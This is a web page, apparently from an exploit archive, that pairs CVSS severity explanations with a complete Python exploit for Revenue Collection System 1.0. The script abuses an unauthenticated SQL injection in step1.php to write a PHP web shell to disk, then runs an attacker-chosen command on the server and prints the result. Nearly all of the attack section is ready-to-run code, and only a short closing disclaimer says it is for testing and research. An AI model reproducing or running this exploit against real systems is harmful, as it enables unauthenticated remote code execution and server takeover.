The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Revenue Collection System 1.0 SQL Injection / Remote Code Execution
# Exploit Title: Revenue Collection System v1.0 - RCE via Unauthenticated SQL Injection
# Exploit Author: Joe Pollock
# Date: November 16, 2022
# Vendor Homepage: https://www.sourcecodester.com/php/14904/rates-system.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/rates.zip
# Tested on: Kali Linux, Apache, Mysql
# CVE: T.B.C
# Vendor: Kapiya
# Version: 1.0
# Exploit Description:
# Revenue Collection System v1.0 suffers from an unauthenticated SQL Injection Vulnerability, in step1.php, allowing remote attackers to
# write a malicious PHP file to disk. The resulting file can then be accessed within the /rates/admin/DBbackup directory.
# This script will write the malicious PHP file to disk, issue a user-defined command, then retrieve the result of that command.
# Ex: python3 rcsv1.py 10.10.14.2 "ls"
import sys, requests
def main():
if len(sys.argv) != 3:
print("(+) usage: %s <target> <cmd>" % sys.argv[0])
print('(+) eg: %s 192.168.121.103 "ls"' % sys.argv[0])
sys.exit(-1)
targetIP = sys.argv[1]
cmd = sys.argv[2]
s = requests.Session()
# Define obscure filename and command parameter to limit exposure and usage of the RCE.
FILENAME = "youcantfindme.php"
CMDVAR = "ohno"
# Define the SQL injection string
sqli = """'+UNION+SELECT+"<?php+echo+shell_exec($_GET['%s']);?>","","","","","","","","","","","","","","","",""+INTO+OUTFILE+'/var/www/html/rates/admin/DBbackup/%s'--+-""" % (CMDVAR,FILENAME)
# Write the PHP file to disk using the SQL injection vulnerability
url1 = "http://%s/rates/index.php?page=step1&proId=%s" % (targetIP,sqli)
r1 = s.get(url1)
# Execute the user defined command and display the result
url2 = "http://%s/rates/admin/DBbackup/%s?%s=%s" % (targetIP,FILENAME,CMDVAR,cmd)
r2 = s.get(url2)
print(r2.text)
if __name__ == '__main__':
main()
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum